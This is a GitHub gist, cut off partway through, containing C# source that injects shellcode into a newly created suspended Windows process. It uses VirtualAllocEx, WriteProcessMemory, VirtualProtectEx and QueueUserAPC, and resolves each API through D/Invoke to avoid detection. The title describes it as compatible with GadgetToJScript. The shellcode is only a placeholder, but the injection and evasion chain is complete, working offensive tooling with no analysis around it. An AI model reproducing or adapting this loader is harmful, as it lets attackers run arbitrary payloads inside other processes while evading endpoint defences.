Created
November 13, 2020 19:00
-
-
Save jfmaes/944991c40fb34625cf72fd33df1682c0 to your computer and use it in GitHub Desktop.
.NET Process injection in a new process with QueueUserAPC using D/invoke - compatible with gadgettojscript
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
using System.IO; | |
using System.Runtime.InteropServices; | |
namespace DinjectorWithQUserAPC | |
{ | |
public class Program | |
{ | |
static void Main(string[] args) | |
{ | |
byte[] sc = { 0x31, 0x33, 0x33, 0x37 }; | |
string processPath = @"path to some process"; | |
STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO(); | |
STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION(); | |
var shellcode = sc; | |
IntPtr pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "CreateProcessA"); | |
DELEGATES.CreateProcess CreateProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess; | |
bool success = CreateProcess(processPath, null, IntPtr.Zero, IntPtr.Zero, false, STRUCTS.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); | |
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); | |
DELEGATES.VirtualAllocEx virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx; | |
IntPtr alloc = virtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40); | |
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); | |
DELEGATES.WriteProcessMemory writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory; | |
writeProcessMemory(pi.hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten); | |
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "OpenThread"); | |
DELEGATES.OpenThread openThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenThread)) as DELEGATES.OpenThread; | |
IntPtr tpointer = openThread(STRUCTS.ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); | |
uint oldProtect = 0; | |
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "VirtualProtectEx"); | |
DELEGATES.VirtualProtectEx virtualProtectEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx; | |
virtualProtectEx(pi.hProcess, alloc, shellcode.Length, 0x20, out oldProtect); | |
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "QueueUserAPC"); | |
DELEGATES.QueueUserAPC queueUserAPC = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC; | |
queueUserAPC(alloc, tpointer, IntPtr.Zero); | |
pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "ResumeThread"); | |
DELEGATES.ResumeThread resumeThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread; | |
resumeThread(pi.hThread); | |
} | |
public Program() | |
{ | |
Main(new string[] { }); | |
} | |
} | |
public class DELEGATES | |
{ | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate IntPtr OpenThread(STRUCTS.ThreadAccess dwDesiredAccess, bool bInheritHandle, | |
int dwThreadId); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate uint ResumeThread(IntPtr hThhread); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString); | |
} | |
public class STRUCTS | |
{ | |
[Flags] | |
public enum ProcessCreationFlags : uint | |
{ | |
ZERO_FLAG = 0x00000000, | |
CREATE_BREAKAWAY_FROM_JOB = 0x01000000, | |
CREATE_DEFAULT_ERROR_MODE = 0x04000000, | |
CREATE_NEW_CONSOLE = 0x00000010, | |
CREATE_NEW_PROCESS_GROUP = 0x00000200, | |
CREATE_NO_WINDOW = 0x08000000, | |
CREATE_PROTECTED_PROCESS = 0x00040000, | |
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, | |
CREATE_SEPARATE_WOW_VDM = 0x00001000, | |
CREATE_SHARED_WOW_VDM = 0x00001000, | |
CREATE_SUSPENDED = 0x00000004, | |
CREATE_UNICODE_ENVIRONMENT = 0x00000400, | |
DEBUG_ONLY_THIS_PROCESS = 0x00000002, | |
DEBUG_PROCESS = 0x00000001, | |
DETACHED_PROCESS = 0x00000008, | |
EXTENDED_STARTUPINFO_PRESENT = 0x00080000, | |
INHERIT_PARENT_AFFINITY = 0x00010000 | |
} | |
[Flags] | |
public enum ThreadAccess : int | |
{ | |
TERMINATE = (0x0001), | |
SUSPEND_RESUME = (0x0002), | |
GET_CONTEXT = (0x0008), | |
SET_CONTEXT = (0x0010), | |
SET_INFORMATION = (0x0020), | |
QUERY_INFORMATION = (0x0040), | |
SET_THREAD_TOKEN = (0x0080), | |
IMPERSONATE = (0x0100), | |
DIRECT_IMPERSONATION = (0x0200), | |
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, | |
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION | |
} | |
public struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public uint dwProcessId; | |
public uint dwThreadId; | |
} | |
public struct STARTUPINFO | |
{ | |
public uint cb; | |
public string lpReserved; | |
public string lpDesktop; | |
public string lpTitle; | |
public uint dwX; | |
public uint dwY; | |
public uint dwXSize; | |
public uint dwYSize; | |
public uint dwXCountChars; | |
public uint dwYCountChars; | |
public uint dwFillAttribute; | |
public uint dwFlags; | |
public short wShowWindow; | |
public short cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct UNICODE_STRING | |
{ | |
public UInt16 Length; | |
public UInt16 MaximumLength; | |
public IntPtr Buffer; | |
} | |
/// <summary> | |
/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 | |
/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html | |
/// </summary> | |
public enum NTSTATUS : uint | |
{ | |
// Success | |
Success = 0x00000000, | |
Wait0 = 0x00000000, | |
Wait1 = 0x00000001, | |
Wait2 = 0x00000002, | |
Wait3 = 0x00000003, | |
Wait63 = 0x0000003f, | |
Abandoned = 0x00000080, | |
AbandonedWait0 = 0x00000080, | |
AbandonedWait1 = 0x00000081, | |
AbandonedWait2 = 0x00000082, | |
AbandonedWait3 = 0x00000083, | |
AbandonedWait63 = 0x000000bf, | |
UserApc = 0x000000c0, | |
KernelApc = 0x00000100, | |
Alerted = 0x00000101, | |
Timeout = 0x00000102, | |
Pending = 0x00000103, | |
Reparse = 0x00000104, | |
MoreEntries = 0x00000105, | |
NotAllAssigned = 0x00000106, | |
SomeNotMapped = 0x00000107, | |
OpLockBreakInProgress = 0x00000108, | |
VolumeMounted = 0x00000109, | |
RxActCommitted = 0x0000010a, | |
NotifyCleanup = 0x0000010b, | |
NotifyEnumDir = 0x0000010c, | |
NoQuotasForAccount = 0x0000010d, | |
PrimaryTransportConnectFailed = 0x0000010e, | |
PageFaultTransition = 0x00000110, | |
PageFaultDemandZero = 0x00000111, | |
PageFaultCopyOnWrite = 0x00000112, | |
PageFaultGuardPage = 0x00000113, | |
PageFaultPagingFile = 0x00000114, | |
CrashDump = 0x00000116, | |
ReparseObject = 0x00000118, | |
NothingToTerminate = 0x00000122, | |
ProcessNotInJob = 0x00000123, | |
ProcessInJob = 0x00000124, | |
ProcessCloned = 0x00000129, | |
FileLockedWithOnlyReaders = 0x0000012a, | |
FileLockedWithWriters = 0x0000012b, | |
// Informational | |
Informational = 0x40000000, | |
ObjectNameExists = 0x40000000, | |
ThreadWasSuspended = 0x40000001, | |
WorkingSetLimitRange = 0x40000002, | |
ImageNotAtBase = 0x40000003, | |
RegistryRecovered = 0x40000009, | |
// Warning | |
Warning = 0x80000000, | |
GuardPageViolation = 0x80000001, | |
DatatypeMisalignment = 0x80000002, | |
Breakpoint = 0x80000003, | |
SingleStep = 0x80000004, | |
BufferOverflow = 0x80000005, | |
NoMoreFiles = 0x80000006, | |
HandlesClosed = 0x8000000a, | |
PartialCopy = 0x8000000d, | |
DeviceBusy = 0x80000011, | |
InvalidEaName = 0x80000013, | |
EaListInconsistent = 0x80000014, | |
NoMoreEntries = 0x8000001a, | |
LongJump = 0x80000026, | |
DllMightBeInsecure = 0x8000002b, | |
// Error | |
Error = 0xc0000000, | |
Unsuccessful = 0xc0000001, | |
NotImplemented = 0xc0000002, | |
InvalidInfoClass = 0xc0000003, | |
InfoLengthMismatch = 0xc0000004, | |
AccessViolation = 0xc0000005, | |
InPageError = 0xc0000006, | |
PagefileQuota = 0xc0000007, | |
InvalidHandle = 0xc0000008, | |
BadInitialStack = 0xc0000009, | |
BadInitialPc = 0xc000000a, | |
InvalidCid = 0xc000000b, | |
TimerNotCanceled = 0xc000000c, | |
InvalidParameter = 0xc000000d, | |
NoSuchDevice = 0xc000000e, | |
NoSuchFile = 0xc000000f, | |
InvalidDeviceRequest = 0xc0000010, | |
EndOfFile = 0xc0000011, | |
WrongVolume = 0xc0000012, | |
NoMediaInDevice = 0xc0000013, | |
NoMemory = 0xc0000017, | |
ConflictingAddresses = 0xc0000018, | |
NotMappedView = 0xc0000019, | |
UnableToFreeVm = 0xc000001a, | |
UnableToDeleteSection = 0xc000001b, | |
IllegalInstruction = 0xc000001d, | |
AlreadyCommitted = 0xc0000021, | |
AccessDenied = 0xc0000022, | |
BufferTooSmall = 0xc0000023, | |
ObjectTypeMismatch = 0xc0000024, | |
NonContinuableException = 0xc0000025, | |
BadStack = 0xc0000028, | |
NotLocked = 0xc000002a, | |
NotCommitted = 0xc000002d, | |
InvalidParameterMix = 0xc0000030, | |
ObjectNameInvalid = 0xc0000033, | |
ObjectNameNotFound = 0xc0000034, | |
ObjectNameCollision = 0xc0000035, | |
ObjectPathInvalid = 0xc0000039, | |
ObjectPathNotFound = 0xc000003a, | |
ObjectPathSyntaxBad = 0xc000003b, | |
DataOverrun = 0xc000003c, | |
DataLate = 0xc000003d, | |
DataError = 0xc000003e, | |
CrcError = 0xc000003f, | |
SectionTooBig = 0xc0000040, | |
PortConnectionRefused = 0xc0000041, | |
InvalidPortHandle = 0xc0000042, | |
SharingViolation = 0xc0000043, | |
QuotaExceeded = 0xc0000044, | |
InvalidPageProtection = 0xc0000045, | |
MutantNotOwned = 0xc0000046, | |
SemaphoreLimitExceeded = 0xc0000047, | |
PortAlreadySet = 0xc0000048, | |
SectionNotImage = 0xc0000049, | |
SuspendCountExceeded = 0xc000004a, | |
ThreadIsTerminating = 0xc000004b, | |
BadWorkingSetLimit = 0xc000004c, | |
IncompatibleFileMap = 0xc000004d, | |
SectionProtection = 0xc000004e, | |
EasNotSupported = 0xc000004f, | |
EaTooLarge = 0xc0000050, | |
NonExistentEaEntry = 0xc0000051, | |
NoEasOnFile = 0xc0000052, | |
EaCorruptError = 0xc0000053, | |
FileLockConflict = 0xc0000054, | |
LockNotGranted = 0xc0000055, | |
DeletePending = 0xc0000056, | |
CtlFileNotSupported = 0xc0000057, | |
UnknownRevision = 0xc0000058, | |
RevisionMismatch = 0xc0000059, | |
InvalidOwner = 0xc000005a, | |
InvalidPrimaryGroup = 0xc000005b, | |
NoImpersonationToken = 0xc000005c, | |
CantDisableMandatory = 0xc000005d, | |
NoLogonServers = 0xc000005e, | |
NoSuchLogonSession = 0xc000005f, | |
NoSuchPrivilege = 0xc0000060, | |
PrivilegeNotHeld = 0xc0000061, | |
InvalidAccountName = 0xc0000062, | |
UserExists = 0xc0000063, | |
NoSuchUser = 0xc0000064, | |
GroupExists = 0xc0000065, | |
NoSuchGroup = 0xc0000066, | |
MemberInGroup = 0xc0000067, | |
MemberNotInGroup = 0xc0000068, | |
LastAdmin = 0xc0000069, | |
WrongPassword = 0xc000006a, | |
IllFormedPassword = 0xc000006b, | |
PasswordRestriction = 0xc000006c, | |
LogonFailure = 0xc000006d, | |
AccountRestriction = 0xc000006e, | |
InvalidLogonHours = 0xc000006f, | |
InvalidWorkstation = 0xc0000070, | |
PasswordExpired = 0xc0000071, | |
AccountDisabled = 0xc0000072, | |
NoneMapped = 0xc0000073, | |
TooManyLuidsRequested = 0xc0000074, | |
LuidsExhausted = 0xc0000075, | |
InvalidSubAuthority = 0xc0000076, | |
InvalidAcl = 0xc0000077, | |
InvalidSid = 0xc0000078, | |
InvalidSecurityDescr = 0xc0000079, | |
ProcedureNotFound = 0xc000007a, | |
InvalidImageFormat = 0xc000007b, | |
NoToken = 0xc000007c, | |
BadInheritanceAcl = 0xc000007d, | |
RangeNotLocked = 0xc000007e, | |
DiskFull = 0xc000007f, | |
ServerDisabled = 0xc0000080, | |
ServerNotDisabled = 0xc0000081, | |
TooManyGuidsRequested = 0xc0000082, | |
GuidsExhausted = 0xc0000083, | |
InvalidIdAuthority = 0xc0000084, | |
AgentsExhausted = 0xc0000085, | |
InvalidVolumeLabel = 0xc0000086, | |
SectionNotExtended = 0xc0000087, | |
NotMappedData = 0xc0000088, | |
ResourceDataNotFound = 0xc0000089, | |
ResourceTypeNotFound = 0xc000008a, | |
ResourceNameNotFound = 0xc000008b, | |
ArrayBoundsExceeded = 0xc000008c, | |
FloatDenormalOperand = 0xc000008d, | |
FloatDivideByZero = 0xc000008e, | |
FloatInexactResult = 0xc000008f, | |
FloatInvalidOperation = 0xc0000090, | |
FloatOverflow = 0xc0000091, | |
FloatStackCheck = 0xc0000092, | |
FloatUnderflow = 0xc0000093, | |
IntegerDivideByZero = 0xc0000094, | |
IntegerOverflow = 0xc0000095, | |
PrivilegedInstruction = 0xc0000096, | |
TooManyPagingFiles = 0xc0000097, | |
FileInvalid = 0xc0000098, | |
InsufficientResources = 0xc000009a, | |
InstanceNotAvailable = 0xc00000ab, | |
PipeNotAvailable = 0xc00000ac, | |
InvalidPipeState = 0xc00000ad, | |
PipeBusy = 0xc00000ae, | |
IllegalFunction = 0xc00000af, | |
PipeDisconnected = 0xc00000b0, | |
PipeClosing = 0xc00000b1, | |
PipeConnected = 0xc00000b2, | |
PipeListening = 0xc00000b3, | |
InvalidReadMode = 0xc00000b4, | |
IoTimeout = 0xc00000b5, | |
FileForcedClosed = 0xc00000b6, | |
ProfilingNotStarted = 0xc00000b7, | |
ProfilingNotStopped = 0xc00000b8, | |
NotSameDevice = 0xc00000d4, | |
FileRenamed = 0xc00000d5, | |
CantWait = 0xc00000d8, | |
PipeEmpty = 0xc00000d9, | |
CantTerminateSelf = 0xc00000db, | |
InternalError = 0xc00000e5, | |
InvalidParameter1 = 0xc00000ef, | |
InvalidParameter2 = 0xc00000f0, | |
InvalidParameter3 = 0xc00000f1, | |
InvalidParameter4 = 0xc00000f2, | |
InvalidParameter5 = 0xc00000f3, | |
InvalidParameter6 = 0xc00000f4, | |
InvalidParameter7 = 0xc00000f5, | |
InvalidParameter8 = 0xc00000f6, | |
InvalidParameter9 = 0xc00000f7, | |
InvalidParameter10 = 0xc00000f8, | |
InvalidParameter11 = 0xc00000f9, | |
InvalidParameter12 = 0xc00000fa, | |
ProcessIsTerminating = 0xc000010a, | |
MappedFileSizeZero = 0xc000011e, | |
TooManyOpenedFiles = 0xc000011f, | |
Cancelled = 0xc0000120, | |
CannotDelete = 0xc0000121, | |
InvalidComputerName = 0xc0000122, | |
FileDeleted = 0xc0000123, | |
SpecialAccount = 0xc0000124, | |
SpecialGroup = 0xc0000125, | |
SpecialUser = 0xc0000126, | |
MembersPrimaryGroup = 0xc0000127, | |
FileClosed = 0xc0000128, | |
TooManyThreads = 0xc0000129, | |
ThreadNotInProcess = 0xc000012a, | |
TokenAlreadyInUse = 0xc000012b, | |
PagefileQuotaExceeded = 0xc000012c, | |
CommitmentLimit = 0xc000012d, | |
InvalidImageLeFormat = 0xc000012e, | |
InvalidImageNotMz = 0xc000012f, | |
InvalidImageProtect = 0xc0000130, | |
InvalidImageWin16 = 0xc0000131, | |
LogonServer = 0xc0000132, | |
DifferenceAtDc = 0xc0000133, | |
SynchronizationRequired = 0xc0000134, | |
DllNotFound = 0xc0000135, | |
IoPrivilegeFailed = 0xc0000137, | |
OrdinalNotFound = 0xc0000138, | |
EntryPointNotFound = 0xc0000139, | |
ControlCExit = 0xc000013a, | |
InvalidAddress = 0xc0000141, | |
PortNotSet = 0xc0000353, | |
DebuggerInactive = 0xc0000354, | |
CallbackBypass = 0xc0000503, | |
PortClosed = 0xc0000700, | |
MessageLost = 0xc0000701, | |
InvalidMessage = 0xc0000702, | |
RequestCanceled = 0xc0000703, | |
RecursiveDispatch = 0xc0000704, | |
LpcReceiveBufferExpected = 0xc0000705, | |
LpcInvalidConnectionUsage = 0xc0000706, | |
LpcRequestsNotAllowed = 0xc0000707, | |
ResourceInUse = 0xc0000708, | |
ProcessIsProtected = 0xc0000712, | |
VolumeDirty = 0xc0000806, | |
FileCheckedOut = 0xc0000901, | |
CheckOutRequired = 0xc0000902, | |
BadFileType = 0xc0000903, | |
FileTooLarge = 0xc0000904, | |
FormsAuthRequired = 0xc0000905, | |
VirusInfected = 0xc0000906, | |
VirusDeleted = 0xc0000907, | |
TransactionalConflict = 0xc0190001, | |
InvalidTransaction = 0xc0190002, | |
TransactionNotActive = 0xc0190003, | |
TmInitializationFailed = 0xc0190004, | |
RmNotActive = 0xc0190005, | |
RmMetadataCorrupt = 0xc0190006, | |
TransactionNotJoined = 0xc0190007, | |
DirectoryNotRm = 0xc0190008, | |
CouldNotResizeLog = 0xc0190009, | |
TransactionsUnsupportedRemote = 0xc019000a, | |
LogResizeInvalidSize = 0xc019000b, | |
RemoteFileVersionMismatch = 0xc019000c, | |
CrmProtocolAlreadyExists = 0xc019000f, | |
TransactionPropagationFailed = 0xc0190010, | |
CrmProtocolNotFound = 0xc0190011, | |
TransactionSuperiorExists = 0xc0190012, | |
TransactionRequestNotValid = 0xc0190013, | |
TransactionNotRequested = 0xc0190014, | |
TransactionAlreadyAborted = 0xc0190015, | |
TransactionAlreadyCommitted = 0xc0190016, | |
TransactionInvalidMarshallBuffer = 0xc0190017, | |
CurrentTransactionNotValid = 0xc0190018, | |
LogGrowthFailed = 0xc0190019, | |
ObjectNoLongerExists = 0xc0190021, | |
StreamMiniversionNotFound = 0xc0190022, | |
StreamMiniversionNotValid = 0xc0190023, | |
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, | |
CantOpenMiniversionWithModifyIntent = 0xc0190025, | |
CantCreateMoreStreamMiniversions = 0xc0190026, | |
HandleNoLongerValid = 0xc0190028, | |
NoTxfMetadata = 0xc0190029, | |
LogCorruptionDetected = 0xc0190030, | |
CantRecoverWithHandleOpen = 0xc0190031, | |
RmDisconnected = 0xc0190032, | |
EnlistmentNotSuperior = 0xc0190033, | |
RecoveryNotNeeded = 0xc0190034, | |
RmAlreadyStarted = 0xc0190035, | |
FileIdentityNotPersistent = 0xc0190036, | |
CantBreakTransactionalDependency = 0xc0190037, | |
CantCrossRmBoundary = 0xc0190038, | |
TxfDirNotEmpty = 0xc0190039, | |
IndoubtTransactionsExist = 0xc019003a, | |
TmVolatile = 0xc019003b, | |
RollbackTimerExpired = 0xc019003c, | |
TxfAttributeCorrupt = 0xc019003d, | |
EfsNotAllowedInTransaction = 0xc019003e, | |
TransactionalOpenNotAllowed = 0xc019003f, | |
TransactedMappingUnsupportedRemote = 0xc0190040, | |
TxfMetadataAlreadyPresent = 0xc0190041, | |
TransactionScopeCallbacksNotSet = 0xc0190042, | |
TransactionRequiredPromotion = 0xc0190043, | |
CannotExecuteFileInTransaction = 0xc0190044, | |
TransactionsNotFrozen = 0xc0190045, | |
MaximumNtStatus = 0xffffffff | |
} | |
} | |
public class TinySharpSploit | |
{ | |
public static STRUCTS.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle) | |
{ | |
// Craft an array for the arguments | |
object[] funcargs = | |
{ | |
PathToFile, dwFlags, ModuleFileName, ModuleHandle | |
}; | |
STRUCTS.NTSTATUS retValue = (STRUCTS.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); | |
// Update the modified variables | |
ModuleHandle = (IntPtr)funcargs[3]; | |
return retValue; | |
} | |
public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString) | |
{ | |
// Craft an array for the arguments | |
object[] funcargs = | |
{ | |
DestinationString, SourceString | |
}; | |
DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs); | |
// Update the modified variables | |
DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0]; | |
} | |
/// <summary> | |
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments. | |
/// </summary> | |
/// <author>The Wover (@TheRealWover)</author> | |
/// <param name="DLLName">Name of the DLL.</param> | |
/// <param name="FunctionName">Name of the function.</param> | |
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param> | |
/// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param> | |
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns> | |
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters) | |
{ | |
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName); | |
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters); | |
} | |
/// <summary> | |
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory. | |
/// </summary> | |
/// <author>The Wover (@TheRealWover)</author> | |
/// <param name="FunctionPointer">A pointer to the unmanaged function.</param> | |
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param> | |
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param> | |
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns> | |
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters) | |
{ | |
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType); | |
return funcDelegate.DynamicInvoke(Parameters); | |
} | |
/// <summary> | |
/// Resolves LdrLoadDll and uses that function to load a DLL from disk. | |
/// </summary> | |
/// <author>Ruben Boonen (@FuzzySec)</author> | |
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param> | |
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns> | |
public static IntPtr LoadModuleFromDisk(string DLLPath) | |
{ | |
STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING(); | |
RtlInitUnicodeString(ref uModuleName, DLLPath); | |
IntPtr hModule = IntPtr.Zero; | |
STRUCTS.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); | |
if (CallResult != STRUCTS.NTSTATUS.Success || hModule == IntPtr.Zero) | |
{ | |
return IntPtr.Zero; | |
} | |
return hModule; | |
} | |
/// <summary> | |
/// Helper for getting the base address of a module loaded by the current process. This base | |
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for | |
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class. | |
/// </summary> | |
/// <author>Ruben Boonen (@FuzzySec)</author> | |
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param> | |
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns> | |
public static IntPtr GetLoadedModuleAddress(string DLLName) | |
{ | |
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules; | |
foreach (ProcessModule Mod in ProcModules) | |
{ | |
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) | |
{ | |
return Mod.BaseAddress; | |
} | |
} | |
return IntPtr.Zero; | |
} | |
/// <summary> | |
/// Helper for getting the pointer to a function from a DLL loaded by the process. | |
/// </summary> | |
/// <author>Ruben Boonen (@FuzzySec)</author> | |
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param> | |
/// <param name="FunctionName">Name of the exported procedure.</param> | |
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param> | |
/// <returns>IntPtr for the desired function.</returns> | |
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false) | |
{ | |
IntPtr hModule = GetLoadedModuleAddress(DLLName); | |
if (hModule == IntPtr.Zero && CanLoadFromDisk) | |
{ | |
hModule = LoadModuleFromDisk(DLLName); | |
if (hModule == IntPtr.Zero) | |
{ | |
throw new FileNotFoundException(DLLName + ", unable to find the specified file."); | |
} | |
} | |
else if (hModule == IntPtr.Zero) | |
{ | |
throw new DllNotFoundException(DLLName + ", Dll was not found."); | |
} | |
return GetExportAddress(hModule, FunctionName); | |
} | |
/// <summary> | |
/// Given a module base address, resolve the address of a function by manually walking the module export table. | |
/// </summary> | |
/// <author>Ruben Boonen (@FuzzySec)</author> | |
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param> | |
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param> | |
/// <returns>IntPtr for the desired function.</returns> | |
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName) | |
{ | |
IntPtr FunctionPtr = IntPtr.Zero; | |
try | |
{ | |
// Traverse the PE header in memory | |
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C)); | |
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14)); | |
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18; | |
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader); | |
Int64 pExport = 0; | |
if (Magic == 0x010b) | |
{ | |
pExport = OptHeader + 0x60; | |
} | |
else | |
{ | |
pExport = OptHeader + 0x70; | |
} | |
// Read -> IMAGE_EXPORT_DIRECTORY | |
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport); | |
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10)); | |
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14)); | |
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18)); | |
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C)); | |
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20)); | |
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24)); | |
// Loop the array of export name RVA's | |
for (int i = 0; i < NumberOfNames; i++) | |
{ | |
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4)))); | |
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase)) | |
{ | |
